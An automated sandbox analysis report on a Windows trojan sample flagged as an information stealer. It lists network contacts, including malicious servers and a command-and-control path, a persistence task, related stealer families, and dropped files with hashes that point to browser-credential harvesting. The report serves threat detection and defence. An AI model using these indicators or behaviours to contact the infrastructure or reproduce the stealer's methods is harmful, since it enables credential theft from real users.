13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.157	unknown	United States	35994	AKAMAI-ASUS	false
23.57.90.135	unknown	United States	35994	AKAMAI-ASUS	false
52.182.143.211	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.57.90.171	unknown	United States	35994	AKAMAI-ASUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
52.159.108.190	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
13.107.21.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.209.72.40	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.133.31	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.160.60.23	unknown	United States	3	MIT-GATEWAYSUS	false
23.219.82.88	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.117.182.56	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.8
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561916
Start date and time:	2024-11-24 19:10:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@74/301@18/28
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.17.46, 74.125.205.84, 34.104.35.123, 142.250.181.138, 172.217.17.42, 172.217.17.74, 142.250.181.106, 216.58.208.234, 172.217.19.202, 172.217.21.42, 172.217.19.170, 172.217.19.234, 142.250.181.42, 172.217.19.10, 142.250.181.74, 84.201.211.38, 192.229.221.95, 204.79.197.203, 13.107.6.158, 13.107.21.239, 204.79.197.239, 13.107.42.16, 172.165.69.228, 2.20.68.234, 2.20.68.198, 2.16.158.75, 2.16.158.51, 2.16.158.80, 2.16.158.74, 2.16.158.48, 2.16.158.33, 2.16.158.72, 2.16.158.43, 2.16.158.35, 13.87.96.169, 199.232.210.172, 2.16.158.185, 2.16.158.179, 2.16.158.170, 2.16.158.176, 2.16.158.90, 2.16.158.96, 2.16.158.88, 2.16.158.171, 2.16.158.169, 142.250.65.195, 142.251.32.99, 142.251.35.163, 142.251.40.163
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, msedge.b.tlu.dl.delivery.mp.microsoft.com, www.gstatic.com, l-0007.l-msedge.net, config.edge.skype.com, www.bing.com, edge-microsoft-com.dual-a-0036.a-msedge.net, fs.microsoft.com, accounts.google.com, bingadsedgeextension-prod.trafficmanager.net, bzib.nelreports.net.akamaized.net, prod-agic-us-1.uksouth.cloudapp.azure.com, otelrules.azureedge.net, api.edgeoffer.microsoft.com, a-0003.a-msedge.net, ctldl.windowsupdate.com, ogads-pa.googleapis.com, www-msn-com.a-0003.a-msedge.net, b-0005.b-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, edge.micro
Execution Graph export aborted for target 7b950b2da4.exe, PID 6128 because there are no executed function
Execution Graph export aborted for target DocumentsEHJKJDGCGD.exe, PID 8364 because it is empty
Execution Graph export aborted for target file.exe, PID 568 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8616 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8688 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:11:46	API Interceptor	157x Sleep call for process: file.exe modified
13:13:01	API Interceptor	157x Sleep call for process: skotes.exe modified
19:12:10	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
home.fvtekk5pn.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://og.oomaal.in/	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	Bestellung EB0072813.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	lw2HMxuVuf.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	zgp.elf	Get hash	malicious	Mirai	Browse	104.47.228.166
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://og.oomaal.in/	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	Bestellung EB0072813.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	lw2HMxuVuf.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	zgp.elf	Get hash	malicious	Mirai	Browse	104.47.228.166

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://og.oomaal.in/	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.16.229.162 20.190.177.21
	fantasy-cave-c-emission.trycloudflare com.vbs	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.16.229.162 20.190.177.21
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 2.16.229.162 20.190.177.21
	lCc7eClats.pdf	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.16.229.162 20.190.177.21
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 2.16.229.162 20.190.177.21
	http://surgicalconceivedrighteous.com	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.16.229.162 20.190.177.21
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 2.16.229.162 20.190.177.21
	lw2HMxuVuf.exe	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.16.229.162 20.190.177.21
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 2.16.229.162 20.190.177.21
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 2.16.229.162 20.190.177.21

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	21Installer.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CFIJEBFCGDAAKFHIDBFIDBKFHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJJKFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650247506004515
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM4SAELyKOMq+8QTQKC+CVumx:K0q+n0J49ELyKOMq+8Q7q
MD5:	0A19F38B7A1ED77027333A321D026377
SHA1:	1793D70D252E11167BE0CA04C5140F29E0E54225
SHA-256:	A1AB9CCBB1485D6B80FD40A5AF2A9EF1B99446034CB4212D90D7A0F611611C44
SHA-512:	FA40E63823153248F89FE69D68DC53BD78A1DE82EF1B8B31F04D91E79CDBEEED7CD5243B881AF71E13FA021D7D86E4321C79ACE707F0D723EF7EA51612F8956A
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIDAFHCBAKFCAAKFCFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIECFBAAAFHIIDGCGCBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GDGHIDBKJEGIECBGIEHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGDGHCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEHJEHDBGHIDGDGHCBGDGCBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 21Installer.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
